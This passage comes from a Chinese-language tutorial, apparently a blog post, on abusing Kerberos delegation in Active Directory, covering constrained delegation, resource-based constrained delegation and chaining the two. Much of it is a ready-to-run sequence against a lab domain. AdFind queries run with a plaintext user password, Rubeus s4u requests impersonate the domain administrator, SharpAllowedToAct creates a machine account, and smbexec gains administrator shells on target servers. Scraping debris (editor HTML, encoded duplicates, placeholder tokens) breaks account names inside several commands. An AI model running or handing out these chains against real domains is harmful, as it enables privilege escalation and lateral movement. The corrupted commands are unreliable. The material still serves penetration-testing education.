5Cn%23%C2%A0%E6%9F%A5%E6%89%BE%E8%AE%BE%E7%BD%AE%E4%BA%86%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%EF%BC%8C%E4%B8%94%E5%85%81%E8%AE%B8%E5%8D%8F%E8%AE%AE%E8%BD%AC%E6%8D%A2%E7%9A%84%E7%94%A8%E6%88%B7%E8%B4%A6%E6%88%B7%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(%26(samAccountType%3D805306368)(msDS-AllowedToDelegateTo%3D*)(userAccountControl%3A1.2.840.113556.1.4.803%3A%3D16777216))%5C%22%C2%A0msDS-AllowedToDelegateTo%C2%A0userAccountControl%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs"># A 普通域用户权限
- # 查找设置了约束委派,且允许协议转换的机器账户
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo userAccountControl
- # 查找设置了约束委派,且允许协议转换的用户账户
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToDelegateTo=*)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo userAccountControl</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.2.1/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <p></p>
复制代码
申请从域管到限定服务器 host 服务的 ST,并 PTT
完整过程是:攻击者请求该账户 TGT,通过 S4U2self 生成一张从域管到该账户任意 SPN 的 转发 ST,再通过 S4U2proxy 携带 TGT、ST 生成从域管到限定服务的 ST。在 ST 中,SPN 通过 sname 表示,该字段位于 PAC 外,意味着攻击者可以直接修改 sname 为其他 SPN。因此,攻击者可以修改 S4U2proxy 得到的 ST 为限定服务器上的任意服务,比如 host,以获取该服务器最高权限。使用 Rubeus 将这些步骤一步到位。
- # A
- # 如果获取明文密码,将其转成需要的格式
- Rubeus.exe hash /password:123qweASD /user:serverA /domain:island.com
- # 一步到位,自动完成 asktgt、S4U2self、S4U2proxy
- ## /msdsspn 指约束委派配置的限定服务,即 msDS-AllowedToDelegateTo 之一
- ## /altservice 指将服务修改成 host,以便获取目标服务器权限
- ## 将生成两张 ST,一张是域管到该服务账户的转发 ST,一张是域管到目标 host 服务的 ST
- Rubeus.exe s4u /user:serverA /aes256:7E73B064D95DDF9BFA23AFCAE567CFCC9BBF0AC9C9A4EB2BB00E621D330FB8FE /domain:island.com /impersonateuser:administrator /msdsspn:dns/serverB /altservice:host /dc:win2012-dc1.island.com /outfile:admin2serverB.st.kirbi /nowrap
- # 将 .kirbi 文件转换为 .ccache 格式
- python3 ticket_converter.py admin2serverB.st_host-serverB.kirbi admin2serverB.ccache
- # 配置环境变量 KRB5CCNAME 为 .ccache 路径后,再 smbexec
- python3 smbexec.py island.com/administrator@serverB -no-pass -k -dc-ip 192.168.159.112 -debug
复制代码
如果遇到 KDC_ERR_BADOPTION 报错,可能是要模拟的用户不允许被委派,尝试模拟其他高权限用户。
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="8" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%23%C2%A0%E6%9F%A5%E6%89%BE%E6%95%8F%E6%84%9F%E8%B4%A6%E6%88%B7(NotDelegated)%C2%A0%C2%A0%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(userAccountControl%3A1.2.840.113556.1.4.803%3A%3D1048576)%5C%22%C2%A0-dn%5Cn%5Cn%23%C2%A0%E6%9F%A5%E6%89%BE%C2%A0Protected%C2%A0Users%C2%A0%E7%BB%84%C2%A0distinguishedName%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(%26(sAMAccountName%3DProtected%C2%A0Users)(%7C(objectCategory%3Dgroup)(objectClass%3Dgroup)))%5C%22%C2%A0-dn%C2%A0%5Cn%23%C2%A0%E9%80%92%E5%BD%92%E6%9F%A5%E8%AF%A2%C2%A0Protected%C2%A0Users%C2%A0%E7%BB%84%E6%88%90%E5%91%98%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-bit%C2%A0-f%C2%A0(memberof%3AINCHAIN%3A%3D%5C%22CN%3DProtected%C2%A0Users%2CCN%3DUsers%2CDC%3Disland%2CDC%3Dcom%5C%22)%C2%A0memberof%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs"># 查找敏感账户(NotDelegated)
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(userAccountControl:1.2.840.113556.1.4.803:=1048576)" -dn
- # 查找 Protected Users 组 distinguishedName
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(sAMAccountName=Protected Users)(|(objectCategory=group)(objectClass=group)))" -dn
- # 递归查询 Protected Users 组成员
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -bit -f (memberof:INCHAIN:="CN=Protected Users,CN=Users,DC=island,DC=com") memberof</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.2.1/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <h3>
- </h3><h3></h3>
复制代码
2.3 RBCD 花式利用
基于资源的约束委派(Resource-Based Constrained Delegation,RBCD)方便了对资源的管理,也方便了攻击者。在域内,传统委派通常只能由域管配置,但 RBCD 可以由资源本身的管理者配置,比如:
- 1. 机器账号可以配置自己的 RBCD。
- 2. 将某台主机拉入域内的用户账号,可以配置该机器账号的 RBCD。
这意味着,传统委派只能在域管配置后被攻击者利用,但对于 RBCD,攻击者可以主动配置并花式利用:
- 1. 在拿到了任意一台域内机器后,攻击者可以配置该机器 RBCD ,将该机器提权至最高权限。
- 2. 在拿到了任意一个域账号后,攻击者可以配置所有由该账号拉入域内的机器的 RBCD ,获取这些机器最高权限。
- 3. 攻击者通过欺骗+中继,配置某台机器自身的 RBCD,获取该机器最高权限。
- 4. 帮助约束委派:攻击者可以滥用 RBCD 获得一张可转发的、从用户到服务 B 的 ST,帮助 S4U2proxy 完成约束委派的利用。
RBCD + 域机器低权限 = 获取该域机器最高权限
编辑
在 RBCD 中,服务 A 发起 S4U2proxy 请求时,必须提供两样东西:1. 自身的 TGT;2. 从用户到服务 A 的 ST(约束委派时必须为可转发的 ST)。因此,要滥用 RBCD,攻击者必须已经控制一个服务账号来充当服务 A,用于提供 TGT。幸运的是,域条目的 ms-DS-MachineAccountQuota 属性默认为10,即所有域账号默认可以创建10个机器账号,因此攻击者可以直接创建机器账号 A 并利用,而无需先获取一个可控的服务账号。当然,如果管理员将该属性设为 0,攻击者使用其他可控的服务账号充当服务 A 也是可以的。(甚至,Jame Forshaw 提出了无需服务账号,仅通过普通用户账户滥用 RBCD[1]的方法)
- # 这里直接用域用户账号权限执行,机器账号权限同理。
- ## 钓鱼拿下某台域机器,上传工具执行
- ## 完成机器账号 A 创建,服务账号 B 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性修改
- SharpAllowedToAct.exe -m serverA -p 123qweASD -t serverB
复制代码
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="5" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%23%C2%A0A%5Cn%23%C2%A0%E5%B0%86%E4%B8%8A%E8%BF%B0%E5%AF%86%E7%A0%81%E8%BD%AC%E6%88%90%E9%9C%80%E8%A6%81%E7%9A%84%E6%A0%BC%E5%BC%8F%5CnRubeus.exe%C2%A0hash%C2%A0%2Fpassword%3A123qweASD%C2%A0%2Fuser%3AserverA%24%C2%A0%2Fdomain%3Aisland.com%5Cn%5Cn%23%C2%A0%E5%AE%8C%E6%88%90%C2%A0RBCD%C2%A0%E8%AF%B7%E6%B1%82%5CnRubeus.exe%C2%A0s4u%C2%A0%2Fuser%3AserverA%24%C2%A0%2Faes256%3Axxx%C2%A0%2Fdomain%3Aisland.com%C2%A0%2Fimpersonateuser%3Aadministrator%C2%A0%2Fmsdsspn%3Ahost%2FserverB%C2%A0%2Fdc%3Awin2012-dc1.island.com%C2%A0%2Foutfile%3Aadmin2serverB.st.kirbi%C2%A0%2Fnowrap%5Cn%5Cn%23%C2%A0%E5%B0%86%C2%A0.kirbi%C2%A0%E6%96%87%E4%BB%B6%E8%BD%AC%E6%8D%A2%E4%B8%BA%C2%A0.ccache%C2%A0%E6%A0%BC%E5%BC%8F%5Cnpython3%C2%A0ticket_converter.py%C2%A0admin2serverB.st_host-serverB.kirbi%C2%A0admin2serverB.ccache%5Cn%5Cn%23%C2%A0%E9%85%8D%E7%BD%AE%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%C2%A0KRB5CCNAME%C2%A0%E4%B8%BA%C2%A0.ccache%C2%A0%E8%B7%AF%E5%BE%84%E5%90%8E%EF%BC%8C%E5%86%8D%C2%A0smbexec%5Cnpython3%C2%A0smbexec.py%C2%A0island.com%2Fadministrator%40serverB%C2%A0-no-pass%C2%A0-k%C2%A0-dc-ip%C2%A0192.168.159.112%C2%A0-debug%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs"># A
- # 将上述密码转成需要的格式
- Rubeus.exe hash /password:123qweASD /user:serverA[ DISCUZ_CODE_142 ]nbsp;/domain:island.com
- # 完成 RBCD 请求
- Rubeus.exe s4u /user:serverA[ DISCUZ_CODE_142 ]nbsp;/aes256:xxx /domain:island.com /impersonateuser:administrator /msdsspn:host/serverB /dc:win2012-dc1.island.com /outfile:admin2serverB.st.kirbi /nowrap
- # 将 .kirbi 文件转换为 .ccache 格式
- python3 ticket_converter.py admin2serverB.st_host-serverB.kirbi admin2serverB.ccache
- # 配置环境变量 KRB5CCNAME 为 .ccache 路径后,再 smbexec
- python3 smbexec.py island.com/administrator@serverB -no-pass -k -dc-ip 192.168.159.112 -debug</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.2.1/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <p>
- </p><p></p>
复制代码
RBCD + 域用户账号 = 获取由该域用户拉入域内的域机器最高权限
机器账号的 mS-DS-CreatorSID 属性表示将该机器拉入域内的域账号,如果该属性为空,意味着该机器是被域管拉入域内的。
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="4" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%23%C2%A0%E6%9F%A5%E6%89%BE%E6%9F%90%E4%B8%AA%E5%9F%9F%E8%B4%A6%E5%8F%B7%E6%8B%89%E5%85%A5%E5%9F%9F%E5%86%85%E7%9A%84%E5%9F%9F%E6%9C%BA%E5%99%A8%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(%26(samAccountType%3D805306369)(mS-DS-CreatorSID%3DS-1-5-21-65208363-682840273-3768764330-2131))%5C%22%C2%A0-dn%5Cn%5Cn%23%C2%A0%E6%9F%A5%E6%89%BE%E6%89%80%E6%9C%89%E6%9C%BA%E5%99%A8%E7%9A%84%C2%A0mS-DS-CreatorSID%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(%26(samAccountType%3D805306369)(mS-DS-CreatorSID%3D*))%5C%22%C2%A0mS-DS-CreatorSID%5Cn%23%C2%A0%E6%9F%A5%E6%89%BE%E6%9F%90%E4%B8%AA%C2%A0sid%C2%A0%E5%AF%B9%E5%BA%94%E7%9A%84%E5%9F%9F%E7%94%A8%E6%88%B7%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(objectsid%3DS-1-5-21-65208363-682840273-3768764330-2102)%5C%22%C2%A0-dn%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs"># 查找某个域账号拉入域内的域机器
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-65208363-682840273-3768764330-2131))" -dn
- # 查找所有机器的 mS-DS-CreatorSID
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=*))" mS-DS-CreatorSID
- # 查找某个 sid 对应的域用户
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(objectsid=S-1-5-21-65208363-682840273-3768764330-2102)" -dn</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.2.1/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <p>
- </p><p></p>
复制代码
RBCD + 欺骗 + NTLM Relay = 获取被欺骗服务器上的最高权限
既然只要能操控某台机器的 RBCD,就可以获取该机器权限,自然会想到通过中继修改其 LDAP 属性。但需要注意的是,中继发起的方式只能是欺骗用户或者机器账户 XXE(HTTP),不能是强制认证机器账户。因为强制认证发起的 SMB 中继到 LDAP 后默认开启会话签名,如果不存在 CVE-2019-1040 漏洞,将无法中继。
具体操作查看 NTLM Relay 篇。
RBCD + 不允许协议转换的约束委派 = 获取限定服务器上的最高权限
上文说到,针对设置了约束委派,但不允许协议转换的服务账户,无法直接 S4U2self + S4U2proxy 完成利用,此时可以借道 RBCD + S4U2proxy 完成利用。
在不允许协议转换的约束委派中,由于 S4U2self 返回的从用户到服务 B 的 ST 是不可转发的,不能用于后续 S4U2proxy,攻击者需要想办法获取可转发的、从用户到服务 B 的 ST。RBCD 恰好可以获取这样的 ST, 这得益于 S4U2Proxy 返回的 ST 始终是可转发的。
编辑
- 查找设置了约束委派,但不允许协议转换的服务账户,并想办法拿下服务器 B 的管理员权限。
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="2" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%23%C2%A0A%C2%A0%E6%99%AE%E9%80%9A%E5%9F%9F%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%5Cn%23%C2%A0%E6%9F%A5%E6%89%BE%E8%AE%BE%E7%BD%AE%E4%BA%86%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%EF%BC%8C%E4%BD%86%E4%B8%8D%E5%85%81%E8%AE%B8%E5%8D%8F%E8%AE%AE%E8%BD%AC%E6%8D%A2%E7%9A%84%E6%9C%BA%E5%99%A8%E8%B4%A6%E6%88%B7%C2%A0%C2%A0%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(%26(samAccountType%3D805306369)(msDS-AllowedToDelegateTo%3D*)(!userAccountControl%3A1.2.840.113556.1.4.803%3A%3D16777216))%5C%22%C2%A0msDS-AllowedToDelegateTo%C2%A0userAccountControl%5Cn%5Cn%23%C2%A0%E6%9F%A5%E6%89%BE%E8%AE%BE%E7%BD%AE%E4%BA%86%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%EF%BC%8C%E4%BD%86%E4%B8%8D%E5%85%81%E8%AE%B8%E5%8D%8F%E8%AE%AE%E8%BD%AC%E6%8D%A2%E7%9A%84%E7%94%A8%E6%88%B7%E8%B4%A6%E6%88%B7%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(%26(samAccountType%3D805306368)(msDS-AllowedToDelegateTo%3D*)(!userAccountControl%3A1.2.840.113556.1.4.803%3A%3D16777216))%5C%22%C2%A0msDS-AllowedToDelegateTo%C2%A0userAccountControl%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs"># A 普通域用户权限
- # 查找设置了约束委派,但不允许协议转换的机器账户
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*)(!userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo userAccountControl
- # 查找设置了约束委派,但不允许协议转换的用户账户
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToDelegateTo=*)(!userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo userAccountControl</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.2.1/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <ol><li>
- <p></p></li></ol>
复制代码
- 滥用 RBCD 申请从域管到服务 B 的、可转发的 ST。
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="1" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%23%C2%A0%E5%9C%A8%E6%9C%8D%E5%8A%A1%E5%99%A8%C2%A0B%C2%A0%E4%B8%8A%E6%89%A7%E8%A1%8C%5Cn%23%C2%A0%E5%AE%8C%E6%88%90%E6%9C%BA%E5%99%A8%E8%B4%A6%E5%8F%B7%C2%A0A%C2%A0%E5%88%9B%E5%BB%BA%EF%BC%8C%E6%9C%8D%E5%8A%A1%E8%B4%A6%E5%8F%B7%C2%A0B%C2%A0%E7%9A%84%C2%A0msDS-AllowedToActOnBehalfOfOtherIdentity%C2%A0%E5%B1%9E%E6%80%A7%E4%BF%AE%E6%94%B9%5CnSharpAllowedToAct.exe%C2%A0-m%C2%A0serverA%C2%A0-p%C2%A0123qweASD%C2%A0-t%C2%A0serverB%5Cn%5Cn%23%C2%A0A%C2%A0%5Cn%23%C2%A0%E5%B0%86%E4%B8%8A%E8%BF%B0%E5%AF%86%E7%A0%81%E8%BD%AC%E6%88%90%E9%9C%80%E8%A6%81%E7%9A%84%E6%A0%BC%E5%BC%8F%5CnRubeus.exe%C2%A0hash%C2%A0%2Fpassword%3A123qweASD%C2%A0%2Fuser%3AserverA%24%C2%A0%2Fdomain%3Aisland.com%5Cn%5Cn%23%C2%A0%E5%AE%8C%E6%88%90%C2%A0RBCD%C2%A0%E8%AF%B7%E6%B1%82%EF%BC%8C%E7%94%B3%E8%AF%B7%E5%8F%AF%E8%BD%AC%E5%8F%91%E7%9A%84%C2%A0ST%5CnRubeus.exe%C2%A0s4u%C2%A0%2Fuser%3AserverA%24%C2%A0%2Faes256%3Axxx%C2%A0%2Fdomain%3Aisland.com%C2%A0%2Fimpersonateuser%3Aadministrator%C2%A0%2Fmsdsspn%3Ahost%2FserverB%C2%A0%2Fdc%3Awin2012-dc1.island.com%C2%A0%2Foutfile%3Aadmin2serverB.st.kirbi%C2%A0%2Fnowrap%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs"># 在服务器 B 上执行
- # 完成机器账号 A 创建,服务账号 B 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性修改
- SharpAllowedToAct.exe -m serverA -p 123qweASD -t serverB
- # A
- # 将上述密码转成需要的格式
- Rubeus.exe hash /password:123qweASD /user:serverA[ DISCUZ_CODE_145 ]nbsp;/domain:island.com
- # 完成 RBCD 请求,申请可转发的 ST
- Rubeus.exe s4u /user:serverA[ DISCUZ_CODE_145 ]nbsp;/aes256:xxx /domain:island.com /impersonateuser:administrator /msdsspn:host/serverB /dc:win2012-dc1.island.com /outfile:admin2serverB.st.kirbi /nowrap</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.2.1/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <ol><li>
- <p></p></li></ol>
复制代码
- 滥用约束委派,申请从域管到服务 C 的 ST,并 PTT。
- # A PTT
- # 完成约束委派请求
- Rubeus.exe s4u /user:serverB[ DISCUZ_CODE_146 ]nbsp;/rc4:xxx /domain:island.com /tgs:admin2serverB.st_host-serverB.kirbi /msdsspn:dns/serverC /altservice:host /dc:win2012-dc1.island.com /outfile:admin2serverC.st.kirbi /nowrap
- # 将 .kirbi 文件转换为 .ccache 格式
- python3 ticket_converter.py admin2serverC.st_host-serverC.kirbi admin2serverC.ccache
- # 配置环境变量 KRB5CCNAME 为 .ccache 路径后,再 smbexec
- python3 smbexec.py island.com/administrator@serverC -no-pass -k -dc-ip 192.168.159.112 -debug
复制代码
2.4 委派滥用小结
最后总结一下:
- 1. 拿下非约束委派的机器并提权后,可以获取域管或域控权限。需要配合欺骗或强制认证利用。
- 2. 拿下约束委派账户的 Hash,可以横向至限定机器。对于无法协议转换的,可以配合欺骗或 RBCD 利用。
- 3. 利用 RBCD,可以实现域机器账号的本地提权,以及域用户账户的机器接管。配合欺骗进行 NTLM Relay,还可以横向到被欺骗的机器。
实战中遇到非约束委派和约束委派,也不一定能拿下这些账号权限,倒是 RBCD 的利用限制较少,再配合上中继,有很大的想象空间。
总结
本篇介绍并引入了RBCD,下篇继续介绍NTLM 中继攻击,也就是NTLM Relay。
参考资料
MS-SFU: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol[2]
Kerberos (III): How does delegation work?[3]
引用链接
[1] 通过普通用户账户滥用 RBCD: https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
[2] MS-SFU: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94
[3] Kerberos (III): How does delegation work?: https://www.tarlogic.com/blog/kerberos-iii-how-does-delegation-work/
|
|